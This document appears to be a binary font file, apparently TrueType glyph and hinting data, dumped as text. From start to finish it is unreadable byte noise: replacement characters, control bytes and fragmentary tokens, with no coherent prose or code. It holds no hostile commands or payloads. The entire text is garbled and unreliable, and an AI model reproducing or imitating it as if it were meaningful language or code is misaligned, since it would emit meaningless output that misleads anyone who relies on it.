�e8-�;��Z�{+DD\�93[2332[0<�[EC,�����W7!!%5$������$����}�y����]]���x��|����W%!5505%$����}���$y����|�����]]���W!!'7!5!%5$��Z��Z�
N����$����}�qP���P����]]���x��|����W!!'7!5!55%$��Z��Z�
N����}���$qP���P����|�����]]�	�K75!5!%5$������!:���[�]3���֪�k��-Q��tX�Vv�	�K75!5!55$%$�����]��[��:!��3���֪�k��V�X���Q-�q�K!5!7!5!7!!!!'%5$&���`��ȉ�)P�"_=�6�����!:���[�]�s��s1�s��t���-Q��tX�Vv�q�K!5!7!5!7!!!!'55$%$&���`��ȉ�)P�"_=�6����]��[��:!���s��s1�s��t���V�X���Q-�y��:E#"'&'&'&#"5>76326#"'&'&'&#"5>32>%5$�i�an�
�^X�bi�b`��^V�gi�an�
�^X�bi�an�
���g���!:���[�](�NE;=LT�N9A=K��OE;=LS�NE;CE��-Q��tX�Vv�y��:E#"'&'&'&#"5>76326#"'&'&'&#"5>32>55$%$�i�an�
�^X�bi�b`��^V�gi�an�
�^X�bi�an�
����e]��[��:!��(�NE;=LT�N9A=K��OE;=LS�NE;CE���V�X���Q-����6A#"'3267#"/'7&#"5>327&#"56767326%5$�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bhZmM�p[�Y@1V�g���!:���[�]$�PD�4KU�NE;�@�LT�NE�4LR�N"*,�@�J��-Q��tX�Vv����6A#"'3267#"/'7&#"5>327&#"5676732655$%$�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bhZmM�p[�Y@1V��e]��[��:!��$�PD�4KU�NE;�@�LT�NE�4LR�N"*,�@�J���V�X���Q-����7	5������@������p�p����p�o����%5555�������������i������������
'	'!�]�#��\e��#�����N\�#��]x���#L� ��
�
!77	!	���\ݿ�#�������#N��]�#�����#����4�
!7	7:\�#��]x���#L�]ݿ�#\e��L�#�1 4

%'''	!�]ݿ�#\e��L�#�1�\ݿ�#]��j����#�7�P~	%	!	!!5	5!3��!��������
�
����������������
7�?~%	!!3��������*^V	!!^����*����^��V�!!!^����������'	'!���#�������#L� ��
�!	 �����#���#����4�%7	7��#L�4��L�#�1 4
	! ��L�#�1����#�7�P~	%	!	!3��!���߆������^��V	!	!!	!E����������C��u��R�#7!5!7�Z�xx�/{�x�x���:�xu-R	'!5!'��x���x��vx�:��x�H��%�7!!7�vx�{�/�x�x�x�ƪ���x�vH-%3'!!'�Z�x����x�vx����x���$!%!!��W7�� ��r����$!!!��W7�� ������$!!,7��r�<�R �����$!!c��r�<�R ���!$	v����
��dxx������!$	�u��
���������!$	!	�uv�}
����x����!$!	����
��x��������$	
#)-17#535#5#5#5##5#5#5##5##53#5#5#5##5��qrrrr�����Mrq�����r�rrrr�rr�tr������$tttt��rttttt��rt��������tr�$���#	!$VV�����m���$���#	!	!�z�0��VV�������O�m�����Ff�			vv����r��5��k�k����\��S���S��Ff�7	����\��S���S"����	!	�R�[��RG���p��($  %p��������@�*����X�֖�M���M	:l���L����F M���M			��N� l��������V����F 
j�3!!!!!!#535#53��[��[���_���������~�,���
*3###535#5333#y��������������,���8�Ȑ��j�#3327673#"'!!&'&#"#>32��
&}f[�_
&}f[�,	%$R���/�	%$R��
��!2+##5332654&+!��������ʿ�������[�qr��qq��ϐ�ђ���А�fT�$�@	$
!?
%��2���9999�991@&	
B
���	$��/����999��990KSX��9Y"�@&]@Bz%%%&'&&&	 &66FFhuuw����]]#.+;#"&! 32654&#�A{>�ٿJ�x�n�?M��������������~�h�b��–��m�؍�O���H����#(07#5#"''7&546;7&'&#"5>327354326=-�?���\g`n;��)�
T�`�Te�Z�x�_�9�58���>c�����c3V���fa<}N�V{���E..�''r�O�s+A��x.ٴ)��3{ ��B�333#;#"'&'##53w1����ѪKs���Q
f�և����3�͏�o�N�P��r�>�����7���!#4&#"#3676323#d�||����BYZu�cc�����������e22wx��L��j�%3###3!���E�3������A�1��w�H����33	3###��%�̟�8�ǹ�i��E�L#��\����!!#!5!s��P��=��g՚�o�A��X���`!!#!5!qj�Ll��}��e`���R�%s��w�-@���������221/�������053#5# !232#"���M��T�������������+焀�\\���x��EE���f�!	!+53265##�-}-��MD�n���������������h�
%!#3!3������҈�����R��s��w�%#3>3 !"&#" 7��M�T�����!���������焀�U�H�U�k:E�����=�{0#3	632#54&"$����\�^Tރ��Qr)m��`�T�ῆrr:T*D	�	#	#3	3	67632#54&#"f��������:9�:<V��UU�Q.*(�����&G@\\[n�y6P(V�{67632#54&"##33F9[����Qr)�����۸�����V=`��rr:T*����j`��j��h�%6323#56?65&#"�T���^�\�Ѩ1<��-�M21��]@�/���2U�Pn44�%�q�!#3!q�"����9����`!#3!����W��`�3p���h
'"27654'&'2#"'&7673=A__UVF6�����˷ȅ��e�B:VVMpˑ�Rh]��p[���������m�Ns��sg�.���!5!"/32654&+532�r��%8<X��Mi�OR��
�#˾l�a�`b��q��u{ &"26  & 6763265^�]]�]�[�����A��٬7\��Y3a_^�\\h8����9����`MG8]_2BI[b3`!5!!5!!53�/�
�`���x�-������gt�d
�h�	3	3q���*+����D�@�������:.#";#"./&'&'&'532654&/.54$32Hs�_��<6�z�gl�sɇ|�F?"Ng{<�12'w�{�r����{���i���76�vc3.#/il��pYwnI�'O8�-
!/�EF�~n|-����&\��3#".'%&+5!5!�l�'Yv�E��Nq}��g��Uru������'O8�?�����o
_�nI{�~[`#76#"32632#76##"3$328�j���Es��Z�+�4Y���*t�z����������₂��1/���2�r_ # $733>76&7#"733%3�h���������k�j�w�����r�q�-xў����D|Hv`�Q��~����P�H_##"$'5332654&76#"#3$32����Ұ��������$Zh��9�d�R�������˟�YP[y����f����P������u	.63 ?# 6%#"?3327632#5&7$����'E�� ��۬��99 �Z�.�
�

IB��a�uy�h$4Q� �(���dc��Ze~�PA45Gx=%'��	��i�K_#6#"#3$324�Rhi���F�u�~��u�f�����������P��_#6#"#3$32$32#6#"�Ulh���Q�t�x��l�����o���k�g�����_������Q,���X����$6#"72767#"7#"'53;73$32�i���O_�{k�'�����jh���	jW�z{��+���Ά8B~�BA��D��k6�Y��l4_	"6#"3%$32#6#"#7#"73$32�e���Rr�;'i�����h��삸�{��$�����,���
��}���Q,�����ȯ����W_!#6#"#3$32���h���5�^���� ,��������h�s�	6#"32%##"73$32�o���Nq��m�]�����I�4���,���������������ǰ�P9_	"6#"32%#7#"76##3$32$36eo���Nm�I���y��[fy��_���������,�������ο��}����_�����m����	)32767$76%&#"#"=3326323���E�syx
c����V�&J]�z��7S�r�#1X�-���;=m��;�@@�]�kr���w?|��ӆP[�!#6#"#'! #5&#"$36���i���s��"����� ~�� ,����8�|�{aA���t��h_%#"7332%332%3#7#",�������r����\�i������������Ӯ�-�Ӯ�-����hr_%#"7332%3#,�������r�s��¯����Ӯ�-����#�#7#"7#"73327332%3�L����B���\�Nt2־Q
Biz�h�N��������s��^y���'��h�3$32#6#"#7#"73325mT�@r�����h���s������Êr�2U��y���Q,���ԯ����Ӯh]�332%3#7#"7�M�7ph�^ʈ�����a&��Ԯ�-�����f�J_6#"$7327! 3$36�j���e��!�Du���c���2��x��-+���9K��F�ƺ��F4DZ���h�J%#"7#"7332%332%'3#�����������r����\�h$�xmЯ������Ӯ�-�Ӯ�,��i��{�"_	-6&32%6#2%#7#'#7!"3$32$32�o���Gp�
}Y��H�����֖t	U�@�����,t�S�P��-mn�����������ϯ�-;�,�ů1.������d�E�%##3%3%73#mg�Q6�Z�{�O�BU�E3��{�P�\o��R�{�o����S�{��x���~P\_$32#6#"#3�{���ɇ^���q�������Q,����_h�r`%#"733273#�������r��ɜ�گ����Ӯ�.�@�~h�h_%#"7332%3!#532$�����‰r�i�r;�.��UI�Y�����Ӯ�-���W�׋�P�T�#3$32#6#"|jc�K�J�={����th�,���8������Q,�V�A`27#73$32#6#"[w�X����$��(��+��~�s��e����z�3�����殮���z����3 7# %33���C�8�id,���*>'�j�Kp�'��2ֲ��\��-X�C)��P��`!6#"#3$32$32#6#"�s_���`\�D��u��i���‰q���t,�������`������Q,����<�\_ #6#"6 %'73 &!"#3$6"�)g���]����������س�ŝ�,��*#����s���^Q�z�n(����`�a_3 73!�8`���!T�^$�97�C��%������F�`�$# /33 73$'#%&'R$w�������a����ְ;����"��,�����d�RmQ��r���<�z����׿�P_!#7#"6#"#3$3232%3x�����,Ik���fÎ� ��ZgiC^���2�����^�������-d�[�6#"#!3#"$7#�i|��]��1�*p��2x��^�,����of�C���x����zN! 33 767537632�,����*#�&�8O�|�����$2��2����2���Ԥv;<�|�m�%#7#"33%3�n�O����,����h*sN�;���%l�1.�ҭ�!5��h��_%#7##"7332%3E��m�J�@��†�ro�F_E��3������Bz����%3 7#6! 6%!#5&"% ���B�G�se��f)����*I��W���^3*�+��0�����	�J��2�9R�M?[���'��q���$@
E	E�����1@�������0"32654&'2#"$54$����������,�����,g}ss}}ss}�������s����+2@
-!
� ,��2��2�1@� ��&���,������046$32#"$&%!327676%!&'.#"s~�&��&�~~�ڢ����~Y���N�wwk�]��~�N�wwk�]��zz�❞���zz�IʑS`0a�J�ɒR`0a�Is����"'I@"�$$#)
�#(��2��2�9/<�21@�"#��!%���(���2�2�<�2046$32#"$&7)6&')s~�&��&�~~�ڢ����~����&�����\ڵ����zz�❞���zz�I��!��!t�!��!��@5�

c@
��		����1/<��990@

	
	BKSX����@	

	
Y"5!	#	#7!v��(�v�u�yT�W+����F�����C8�

c@
������1/�2�990@

	
	BKSX����@	

	
Y"%!5	3	3!�k������x������q����F��2@��j@�
�
�	
�<�<�1/�99��990@

BKSX����@

Y"!	!7!5	5!�WX�����w�k�/�+�W�(������L?�����#@�	����1/�<<�203#3#3#��z��D�������+��h�1��h�9�����(���E�P�����#/3H@5E1-0	!'E4�<�2��<�2��1@3�00*���4�*�$�4��������9/�02654&#""$54$322654&#""$54$32!!������������,��,�������������,��,��7��`s94488449�����������94488449���������\��}�:@
	
��2�2��2�21@�
����/<�2�2���20!!!!!!!!5!!����A���u��A����d����9��\R�T@��
��2��91/<��0@	
BKSX�<<���Y"!#!	#!&���,�P�s�՚�v�O���~�-@�����	�<�2�̴?
?]1/����03#3#3#��������Q�I���\R�T@��
��2��91/��<0@	BKSX�<<���Y"3	!3%!c���T���s��O�v����s����+7@ �&-&
�,�����9/�1@!� ���,���2�2046$32#"$&767>54'&'&s~�&��&�~~�ڢ����~�.]�=@��N\���N\.]�=��zz�❞���zz��}q�a�!�S��M!�R�}|p�as���?#-n@.

'&$	/$
�.������9999991@	.'&
)
)����.����/�9999999046$327#"''7&7&#"4'32>s~�&��Ġ��n�~�ڢ�Ġ��nՑꏧw֜\�����w֜\��zv�i�j�ޝ����zw�k�j!���^`��|�g^`�����.@�����
	�<<<�2221/�������03#3#3#3#�����������������)��:@	�	����1/<�0@��22��	#	#3�.�]������F����;�-@


�����1@
���	/<�<��03!#!#!����"�������9q><��@	
�����9/�1��
]@�	/<�220K�BPX@
		

����@	


@
��Y333	#	#���� �\�X��d��s��3��{�����1@���
	�<�2�<�2�??]1/<�2�<�20%3#3#3#3#����������������\�	7@���	
����91/���0@	BKSX��Y"	!!!!&��T���dD��՚�o�h�h$@
	�������1/<<�2203#3#3#���h��h��h��������8o��!@���	/�2��21/�2��20!!!!5!!o&��.��-��ժ����o��1�/,@!��	'�,�01*$0�2���2�1�2�2�<�20!"'53 !"563 676!2&# !27# '&�%4���rmy��ymr�O�4%%4�T�rmy���ymr����4*B6�!�*:'(8)� �6AB6� �)�����*�!�6o��P@	
 �<<�2�22�<<�<<�21@	�
�
�/<�2�<<�22�<<�2203!3!!!!#!#!5!!5!!���������n��"��"���x��x�����y��y��r����r���3�����@������21/��03!!!����ժ�������,o��7@	/<<�2�<<�21@��	�/��<�2�<�203!!!!#!5!!5!��C��C����P��P�x�����y��r����7@��K�TX�@8Y2�21/���0@
0	@	P	`	�	�	]73#3#��������������>@������������1�����0@	BKSX�Y"47!5!32654'3! $�������x������˿������ßwN���et�w���������c����#/9@1E-	!'E0�<�2�<�2�1@���0�*�$�0��������02654&#""$54$322654&#""$54$32������������,��,�������������,��,��PIIPPIIP����������PIIPPIIP���������s����'(@)
�(�����1@
�#���(����046$32#"$&732>54.#"s~�&��&�~~�ڢ����~�\��ww֜\\��ww֜\��zz�❞���zz��}�``��}|�``��s����,P@
 !
#.#
�-������9991@ !
(�(���-����99046$32'#"$&73277654.#"s~�&��&�~l�������~�\��w�����j�\��ww֜\��zz�➞��i�k�wz��|�`^�j�I��|�``���;�-@

�����1@
�
��
/��2�203!3!#����,�dq�9����d���(@�����
	�<<�<<�1/����03#3#3#������Q�I����h�?@�����	
�<�2���<�2�???	]1/<�2���<�20#53#533#3#3#h�������������+���I���s����'+>@-
)((
�,����9/��/)]1@+�(��#���,������046$32#"$&732>54.#"3#s~�&��&�~~�ڢ����~�\��ww֜\\��ww֜\����zz�❞���zz��}�``��}|�``���s���>,P@	
%$#&
!.!
�-������9991@
#&$%(�(���-�����99046$327#"$&732>54''&#"s~�&��Ġ��n~�ڢ����~�\��ww֜\����p��w֜\��zv�i�k�����zz��|�``��|�?l�^`��s��r�%1=G@8&,20>���<�2�<�21@/�;�5)�#��#�>����9/�/�0! #"&547 !&54632! 32654&#"4&#"326s�S�_ ������������ _�m���z�,,,,�,,,,�g�s'O;����H6�����6H����;O's�z<11<;22�<11<;//d��#@���
�<�<�1/��<�203!!#!5!��I����I�j��k����=;�;s��r�3?Kf@�F4%+6:0L��2�<�2�<�29/<�<�1@�=�(I�C(7##�1��1�L����9/�/�/<�2��0! #"&547"333###3&54632! 32654&#"4&#"326s�S�_ ���������̻������A;����z�,,,,�,,,,�g�s'O;����H6��������ߊ�6H����;OO4�z<11<;22�<11<;//���;@������	��2����<�21/�2����20�]!!!33##!!!����������>ժ�F���������h�*�;�@��	�����1/��<0)3!3;�������+�y�=@B��	�<�1/��20KSX@����Y!#	5!!���!��8��k����s��#O@%$! 
/<<�22�<�2��<�2�1@�
 ��/<<�<�2�<<�<�2032653#2#4&##"#3"3�ʊ�����y��ʊ��y�����+��V����������V���F%F�����.@��K�TX�@8Y���1/��0��!##��u��-��s��+f@-,&' #+/<<<�222�<�2���<�2��1@+�*
�� #�*'"/<<�<�2�<<�<�29/<�205!5"3332653#!!2#4&##"#35�����ʊ������A�y��ʊ��y���>F����V���>�=������V���F=6-��@	����1/��20!3!3�M���-�����n�^$36767#"&546?>7>5#53�  Ya^�g��HZX/'����-93B$�S
#C�98ŸL�VV/5<4����-5^1Y7�����2&�
P�W�:X!##�������:o#5!#�������&���X�3!3h�X�����o�!533o�X��K�����N�������'��6��������'��6��������'��6��������'��6��������'��6��������&���6�������'��6��������&���6�������'��6��������&���6�������&���6�������'��6��������&���6�������'��6��������&���6�������&���6�������'��6��������'��6��������'��6��������&���6�������'��6��������&���6�������&���6�������'��6��������'��6��������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������'��6��������&���6�������'��6��������&���6�������&���6�������&���6�������&���6�������'��6��������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������'��6��������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������&���6�������'��6������%�����3F
�%#"3!"$54$;3@������8�����ʦ1���������X�����'������7����)5!3!���+���s����*���j�.��v�
!#!	!3v�b����
��w����1�����O�k��s��'�&��s��'�H��\�=���#�)���#������0���3�1���j�/�������6���T�5;��.'3;3! &546#"3A{>�ٿJ�x��8���w������~����bw�+�؍���������h���h�9���;�+����������.#"#632[�h�q��`���QQ����,��D��:��=;�;������<��� !"3!"3!"&5467.54$3!�����D�Ք�������|���#�������orqp����� ˘����h�$��h�������(�E�)5!!5!!5!E�P�9�ª��������,��s����2�����)�8�)�*@	
8A�K�TX���8Y��1�
��	/<��03! #4&#"�!!ˮ�î�$*���\�����u�����sZ�@	
2����1��	��/���0# !3! !����5��a�P�h��/�����/�+j��i��>!!���>������>!##�����>���@���>'�_������>'�_�����#
!##!!�������>���@#����#!!!!�����>��#����!!!!�����V��>��֨�`�!!!!�V��V�������r����i��d���{j�����X���n`+v���)4>@01,
*$6E5����9�����1@$�
*��05�2�2�2��0#"'&'&#"#"'&547673!27676323 4'&'3�ft�[na`zxz{�n[�tfCGo�~[U�]LKf��dKJ]�U[~�oFC��D@@DD�D������k���63366336F���k��������!<@!
	#E"����9�����1@��	�!
"�2�2�2��0!"$"# 33276762324��rT����R�r�ƒ�>Ixd�dyI?В���P��������8[77[8�G��<r�&�,���>�{&��s����	  !3#!! ! �H����0���������x:;hL�����H���+���f�ab��gp���{
"326&33###" r�������hո��	������������������	���98�����3#!#!#3!	!��9҈�_���:��o��%�+����k�j����{"-#5#"&547!#3!63!54&#"5>32"326=�?����/�����j���`�Te�Z��߬�o�����fa��sP��`�A"�..�''���f{bsٴ)e���767!!3##!#!!��&aO�)������p(��?x4&���A�����
��D+k���`76765!!3##!#!!�[(bR������-�f�}v�(U��ԓ��R���:��d�6T�356765!!#!T�:WO�)�fb�0��d����+�����L�`356765!!+!L�3DS����{X^�}�з��3�o�P�����!	!!+##�-}�)�����������
����`!	!!###�
>?h����˸�ʹ`��3��'�P��s����'y�2��q��u{&Ry.��s��e�3#%3# '&76   1������L����������� � F������������<�������Hq��C{3#%3#"32654&' ! ���h��J�������� I������H����n���������98��s��
j�&&'yry���q���{'yo��'y.��':�W��'/7?GO��%3#%3#3#%3#3#%3#"264"264$"264"264$"264"264$"2642+ '&' &547"#"&546;&546 676 3#J����������"���{�ii�h��ii�h��ii�h��ii�h���ii�h���ii�h��ii�hG����4���UU��3����2�UU�4�������I����F���]����������������9������������7�����������R̬��\���dfʬ�\ʫ��Z���ee̫�Z�Ҝ���f�!!!2+5327654&#!#!����qm��L>�87||����ժ�Fwr����KK�"���9+<�VH`!!3 +5327654'&#!#!<1�B�FRRQ���n!&&,�����B`���GQ���a`�07��$)������!!;#"&!��m�?M���ժ��–��)<m`!!;#"'&5!<1�F##mXn�PS�E`����.0�`b�7���*@��2����1@
����/<����0!2#4&#!#463!#"z����||��ˣ�	�iM?���f����9?��a���d(��s��
j�&��q���{'�X3#3֪���X��0X���X3#3֪���$��dX���X3#3֪����X���X3#3֪�������X���X73#3#֪������X���X3##3s���눈X��0X�X3##3s���눈$��dX�X3##3s���눈�X�X3##3s���눈����X�X%3#!#3s���눈��X�X!#!!^�G�AX��X!#3!!^����AX�̈�X!#3!!^����AX����X!#3!!^����AX�d��X%!!3^������Xf���	3'#'^9�L�k�L��C��U��Cf���	#'737�9�L�k�L��C���U�C��C�	3#3#'À��
f
*�D������C�	#53#73C���fR���o�����CD�d���35 !5 !5 �J��J��	��
�'����cm���Z��`35 !5 !5 �,��,�����
�|����MY���s�J�	5! -u�������.1� �sVJ{	5! -u����X���.1� ��f;�3!3+53265!#������M?�n�"���d������_�9��Vd4&#"#3>32+532765�||����B�u�ƣ�F1n!&���������ed��H��08����L��*!!!2!"'&'5327654'&+5!#!��^�ei�cUQ����s���j~��cd\]�������ժ˚�8+lh��zy$�1KK��IJ��J+7�L4�02!"'&'5327654'&+5!;#"&5#533!Ai�cUQ���^cdjT�m�cd\[����jKs��բ���e�8+lh���%�12KK��KJ��N���`�>�¨�����{�R��g�|1&'&547632&'&#";#"32767#"$546�p<<rq�L�baPQG�;FDCt���HNTU�aQUGZTUP��� VU{�hh&�->HmmFE�MU��UU8�%���~`	!!!!#����+�`��Ӕ����o���{V	��3	3#!+!#	!	!J����9҈�_�҈�_�����%s��%�>�+������{��'{
5@M"326=%#5#"'#5#"&5463!54&#"5>3205>32"326=63!54&#"�߬�o����?��nQ�?�������`�Te�Z�xe�Z��߬�o����5y���`[A3f{bsٴ)L���fa'
�fa�����..�''~D''���f{bsٴ)hn�<���	-� 3676! ! '&'!#	!  J�-p�;:x����żP.�g�����%��H�����}�[�����[�Xr���%�����H{��{{"-82 '&'#"&5463!54&#"5>3 6"326="32654&y����7!`�������`�Te�Z*q��O߬�o���������{����ǝ>RE�a�����..�''����f{bsٴ)��n�������q�	!3!2653! '!#���%�{��J®���sv%�_�����r�����\���4h��{��{(3%#"&5463!54&#"5>3232653#5# "326=�H�������`�Te�Z��||����C�u���߬�o��ߍo�����..�''�������{���fcPf{bsٴ)��
	!!#3	3���%Lj�_��:������������+{��N{
("326=5#"&5463!54&#"5>323�߬�o��?�������`�Te�Z��^�\3f{bsٴ)�ͪfa�����..�''���5�����	)!#!#333#���%~g�Y��_��:�g�c��i5�������R����{��N{"-0!5#"&5463!54&#"5>32333#"326=!#u?�������`�Te�Z�xgƚÛ���߬�o��G��fa�����..�''~m���c���3f{bsٴ)���V��	!+53276?!#3	3���%lKMJ|ثL*+2��_��:������q�?=�$%�2���@�{�VN{'2!5#"&5463!54&#"5>323+5326?"326=u?�������`�Te�Z��^�N�|�lLT3��߬�o���fa�����..�''���wj�8�z�H�B3f{bsٴ)��s��'�������{
j�33#!	!##53�ʿ������3ʿ�չ���w�H���1r��3!!3	###53¹"��%�k�ǹ��������#��Ĥ�f�	37!!���_�(�^M�*���c37#����x�I���S��
33#!!#53�ʨ��_����Y�Q�x�33###53Y��������R�
��j�% 3#! '&#5376 !&'! 76;:���~����ż�~����H�j�i�F
w���v�ҵ�������C��Ҥ���ֆ������
���{'23##"'&'#53676"!&'&!3276��o�
~���~
��o��V?s?V���LV��VM{�~͐����~��sU��Uu�%�gstgs��
j�$. 676! ! '&'!     ':�/##.�;:x����Ž.$#.�����y�H�����H�����5==5�[�����[�4=<4����������HH�����Hq���{
1"32654&!"32654&'267632#"'&'#"���������,����������������������n������n����霜�����ǝ�98
��32654&#%!2+3###53�������8���������ʿ�/�ϒ����qr��qqĐ������V�{&  533>32#"&'3##5�ܧ�$����:�{����{�:���d���j�g��da����ad�̐��2��'!2+##"&'&5476;2654&+�������-\0:<DOEFa�!�����������X=5' �IK}�L;����2�V�{1327654& &#"&'&5476323>32#"'#�
���XS��ܧ�3),4:<DOEFTg57�:�{������2�sp������A4( �IK}�Y;��da������s����	#  '7'# ! 7#'�H�����H�k3���y;:x��E�H�b�L�����H��}bt�ab��[������XK|}lkq�V{%#"32533##5#5! 6& �:�|���|�:���������$���ܨdaDDad��������j����
��326&#33#32+##53�������8�������ʿ�'�ђ��-�K�H�����V�&  %##53533#>32#"&�ܧ�$�5������:�{����{�d���j�+���������da����a
��326&#332+3##5#53�������8��������ʿ�'�ђ�����H�^�dd����V�&  533>32#"&'3##5�ܧ�$����:�{����{�:���d���j�g����da����ad�̐����!#!5!��)�+���Vy{3#\��{���V�3"&4&#"#367632o��͚�����Qfe���}��–��}����CB����V{3"&'4&#"#3>32dJlʣ||����B�u�����a���������
�ed�����#�Ib!5!5!5!b�>�>�I���5��:@��K�TX���8Y�991��@	 _��]0� P]3#5���q��e��o�7@
���K�TK�T[X���8Y�1��0@
@P`p��]#o���+������M�VT&#"3733#;#"&50# 7632�7M\P���=x1F��<���5�K9�����p|t����������
!33#!#��Ī���j����A�����{3##4&#"#3>32d���||����B�u�����R�������`�ed���9�(%!5!#$'&''7&5!2.# !26��u���ƍ(T+p�^�op����+�j�k�����SU̒�%n�HF�_`������_�w�%�V{&0:%!"&'5326=#"'&''7&53253732654'&'&#"Z���a�QQ�R��9�|�~Ch!t��|�9��!����.R���
2R��������,*��[cb�Sp#c'8>:bc���2c==�W<n��~bAn��j�3!%!#'7%'����yR+��7����ʚ+�8n��w�Hz�����H�Ql3Ahn��33%##5'7%'��%�^�!�F����!�"i�i��[�b��Xl?���2c<ae���!%37!#'7%%�^8Ě+���Ě+�����kg.�3A���i���3A����,&{ ##'73>367'&'&#"d��ǹ�!��B�u�cJ�!��	3>|����\j��To2c=��edxY�1c90u@O��_��$+#.+#'7! 7-&'&'#3767�A{>�ٿJ�x�ʚ+��~I�+����,J����J=��~�h�b��3BFk>dNU
���?(B�(D8cJ{.#"%#'73>32JI,���!�-��!��:��.�˾4�b��To2c<��fc���/.#"%!"&'532654&/'%&'&54$32Hs�_��w�T"+��W6l���j�{�r����a��+eM0e�i���76�vce�w'8l���0/�EF�~n|�w".`���&��'{/.#"%#"&'532654&/'%&'&54632�N�Z��b�-�!��K,R��Z�lf�a��e�$�O!#>&L��f�?�((TT@I!
�cc (L���##�55YQKP%�ca&J�������#546;!3#!#-�v�������"�0^i1F����d�+�9��3!533##!##53!5��jj�2�ii���}}}\����rk\\~~G��'1.#"!3267#"&'#"&54632>32$"32654ogW`u���sC~>?�Ce�3-�X����X�*1�Z����ml^]lUdaY2jpa==><����><<>�L�⁂po����`�w��	#!5!!5���P�p�+ɪ��F
�#";##"$54$3@������������/�����+X������3333!	��������������+����m3#���m��D	U�%3	3#	#	#3�>�:9����������w����+�������X����1��0!5!��-�Ј���X'3�I(�sI�nh�X#'3��h'O��W�`4�X#'3���v5]�dD�Z�X#'3���|;d�07!���X#��(��X�̈I�����$Q�����h�$R����n4�$S����`�$T��nh�X#7�O��h���W�����h�$V�����h��Q�����4��R����n��S��`4�X#7�]��v���D�d��n4�$[�����4��V�����4��Q�d�����R�dZ�X%#7�d��|��!7�0��`�$`����n��[�������V�d�����Q�0�<0�^X���1��33ֈX���:�#'+/37ڷ/$0(7,48�<�<<<<�#+ 3'�<<<<�<��<�<<<<��<<<<�<�9̰XKRX�8K�
bf �TX�30<<Y �@TX@
30/,74+('$<<<<<<<<<<Y ��TX�# /,<<<<Y ��TX�74/,<<<<Y �TX�+('$74<<<<<<Y �@TX�74<<<<Y ��TX�<<Y ��TX�+(3074/,<<<<<<<<Y�b��cK#a �TX�<<Y �TX@
<<<<<<<<<<Y �TX�<<<<Y �TX�<<<<Y �TX�<<<<<<Y �TX�<<<<Y �TX�<<Y �TX�<<<<<<<<Y�	TX�<<Y�+('$8<<<<<<�<<<<<<<<Y1�
 4)(/<�<<<<<�!05�<<<<<�1,�<<<<<�	%$-�<<<<<�<0335!5!35!3335!5!35!3�ddd�v&��&�vd&�vd�pddd�v&��&�vd&�vd%N���DN��dd��dd%N��idd��N���N���DN��dd��dd%N��idd��N���:�#'+/37�/$0(7,48�<�<<<<�#+ 3'�<<<<�<��<�<<<<��<<<<�<�9̰XKRX�8K�
bf �TX�30<<Y �@TX@
30/,74+('$<<<<<<<<<<Y ��TX�# /,<<<<Y ��TX�74/,<<<<Y �TX�+('$74<<<<<<Y �@TX�74<<<<Y ��TX�<<Y ��TX�+(3074/,<<<<<<<<Y�b��cK#a �TX�<<Y �TX@
<<<<<<<<<<Y �TX�<<<<Y �TX�<<<<Y �TX�<<<<<<Y �TX�<<<<Y �TX�<<Y �TX�<<<<<<<<Y�	TX�<<Y�+('$8<<<<<<�<<<<<<<<Y1�
 4)(/<�<<<<<�!05�<<<<<�1,�<<<<<�	%$-�<<<<<�<0335!5!35!3335!5!35!3�ddd�v&��&�vd&�vd�pddd�v&��&�vd&�vdX���DX��dd��ddX��_dd��X���X���DX��dd��ddX��_dd��X���:�#'+/37ڷ/$0(7,48�<�<<<<�#+ 3'�<<<<�<��<�<<<<��<<<<�<�9̰XLRX�8L�
bf �TX�30<<Y �@TX@
30/,74+('$<<<<<<<<<<Y ��TX�# /,<<<<Y ��TX�74/,<<<<Y �TX�+('$74<<<<<<Y �@TX�74<<<<Y ��TX�<<Y ��TX�+(3074/,<<<<<<<<Y�b��cL#a �TX�<<Y �TX@
<<<<<<<<<<Y �TX�<<<<Y �TX�<<<<Y �TX�<<<<<<Y �TX�<<<<Y �TX�<<Y �TX�<<<<<<<<Y�	TX�<<Y�+('$8<<<<<<�<<<<<<<<Y1�
 4)(/<�<<<<<�!05�<<<<<�1,�<<<<<�	%$-�<<<<<�<0335!5!35!3335!5!35!3�ddd�v&��&�vd&�vd�pddd�v&��&�vd&�vd%N���DN��dd��dd%N��idd��N���N���DN��dd��dd%N��idd��N���:�#'+/37�/$0(7,48�<�<<<<�#+ 3'�<<<<�<��<�<<<<��<<<<�<�9̰XLRX�8L�
bf �TX�30<<Y �@TX@
30/,74+('$<<<<<<<<<<Y ��TX�# /,<<<<Y ��TX�74/,<<<<Y �TX�+('$74<<<<<<Y �@TX�74<<<<Y ��TX�<<Y ��TX�+(3074/,<<<<<<<<Y�b��cL#a �TX�<<Y �TX@
<<<<<<<<<<Y �TX�<<<<Y �TX�<<<<Y �TX�<<<<<<Y �TX�<<<<Y �TX�<<Y �TX�<<<<<<<<Y�	TX�<<Y�+('$8<<<<<<�<<<<<<<<Y1�
 4)(/<�<<<<<�!05�<<<<<�1,�<<<<<�	%$-�<<<<<�<0335!5!35!3335!5!35!3�ddd�v&��&�vd&�vd�pddd�v&��&�vd&�vdX���DX��dd��ddX��_dd��X���X���DX��dd��ddX��_dd��X��n��6�! 53! 5436�&�;�E0&�������%�	��s�������n��6�	%! 7 5%36'&'33����&0��8�4����%`�g��U�N�K7��a<�=�QR�l��En����	!! ! 7! 5%36'6#"#! ����XN����^M���W\D&~��b_�]�aW��>x�N\a��d���Urn��$.%675!26! $547&# !&'$! $
c����e�'�4'T������8��
�������N!V�m��������0w_����c�-��S�R@@�]�����wlo��6�! 3!4!"#! 6��"Z�n':���S�E����/���Os���
���n��6�! 3! 54'#5364##'! ��85�<'0��[����%����|s�}���Ns�(�P
�����n����	&"673! ! 7! 547&5! 3���hf�=���G=����e���H�6ߴ_c	����vK�]�XK��RF������.%@n����	"! ! %!$#"! !663 I���
W
